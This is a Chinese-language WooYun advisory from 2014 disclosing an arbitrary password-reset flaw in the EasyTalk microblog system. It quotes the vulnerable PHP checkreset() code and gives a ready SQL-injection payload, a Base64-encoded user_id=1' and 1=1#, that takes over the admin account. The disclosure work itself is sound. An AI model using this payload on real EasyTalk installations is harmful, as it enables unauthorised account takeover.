当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051158

漏洞标题:开源微博EasyTalk任意用户密码修改

相关厂商:nextsns.com

漏洞作者: felixk3y

提交时间:2014-02-17 11:05

修复时间:2014-05-18 11:05

公开时间:2014-05-18 11:05

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-17: 细节已通知厂商并且等待厂商处理中
2014-02-17: 厂商已经确认,细节仅向厂商公开
2014-02-20: 细节向第三方安全合作伙伴开放
2014-04-13: 细节向核心白帽子及相关领域专家公开
2014-04-23: 细节向普通白帽子公开
2014-05-03: 细节向实习白帽子公开
2014-05-18: 细节向公众公开

简要描述:

开源微博系统EasyTalk任意用户密码修改,包括管理员 而且不用登陆,非常强大...
(其实只是一个小小的设计缺陷):-)

详细说明:

#1 CMS介绍
EasyTalk是国内首款多用户PHP+Mysql开源微博系统,支持网页、手机Wap、手机短信、QQ、Gtalk、飞信等多种方式发表或接收信息,EasyTalk全面符合国人的上网习惯,真正轻量级架构,使得使用者上手容易,管理者安装部署容易、管理便捷。EasyTalk功能强大,便捷的插件系统,可二次开发性高,人性化的模板自定义功能大幅提高了用户的体验,因此EasyTalk相比国内其他微博系统有绝对的优势!

11.jpg


#2 漏洞分析
我们先来看下用户找回密码的连接

http://www.vulns.org/easytalk/?m=index&a=checkreset&urldata=dXNlcl9uYW1lPXRlc3QmbWFpbGFkcmVzPWZlbGl4azN5QHFxLmNvbSZ1c2VyX2lkPTImZGF0ZWxpbmU9MTM5MjYwNDE5NQ==


这里重点留意urldata参数,很显然是Base64加密,我们把它解密

user_name=test&[email protected]&user_id=2&dateline=1392604195


第一感觉,90%有问题...
接下来,我们看该处的源代码,都是怎样实现的
/Home/Lib/Action/IndexAction.class.php 445行checkreset()函数

public function checkreset() {
parent::tohome();
$uModel=D('Users');
$urldata=$_REQUEST['urldata'];//接收urldata 参数
parse_str(base64_decode($urldata));//parse_str 变量覆盖
if (time()-$dateline>3600*5) {
setcookie('setok', json_encode(array('lang'=>L('reset3'),'ico'=>2)),0,'/');//该地址已经过期,请重新“找回密码”
header('location:'.SITE_URL.'/?m=index&a=reset');
exit;
} else {
$user=$uModel->getUser("user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'");//直接带入了数据库...Oh My Ga.
if (!$user['user_id']) {
setcookie('setok', json_encode(array('lang'=>L('reset4'),'ico'=>2)),0,'/');//地址验证失败,请重新“找回密码”
header('location:'.SITE_URL.'/?m=index&a=reset');
exit;
}
}
$this->assign('subname',L('find_pwd'));
$this->assign('user',$user);
$this->assign('urldata',$urldata);
$this->assign('type','find');
$this->display('reset');
}


$_REQUEST 方式接收urldata参数,Base64解码后直接带入了数据库查询,我的天 这究竟是神马设计?
既然它毫不客气的将参数带入了数据库,那么我肯定也是不会客气
从程序可以猜测,更新用户密码的SQL 类似如下

update * from tk_user where user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'


于是我们利用parse_str变量覆盖,可以提交urldata参数为

urldata= dXNlcl9pZD0yJyBhbmQgMT0xIw==
Base64解码为:urldata=user_id=1' and 1=1#


就可以修改管理员(管理的user_id为1)的密码

22.jpg


同理,我们修改user_id为其他用户的id,即可修改其密码

33.jpg

漏洞证明:

44.jpg

修复方案:

过滤,增强验证

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-02-17 11:15

厂商回复:

正在修复

最新状态:

暂无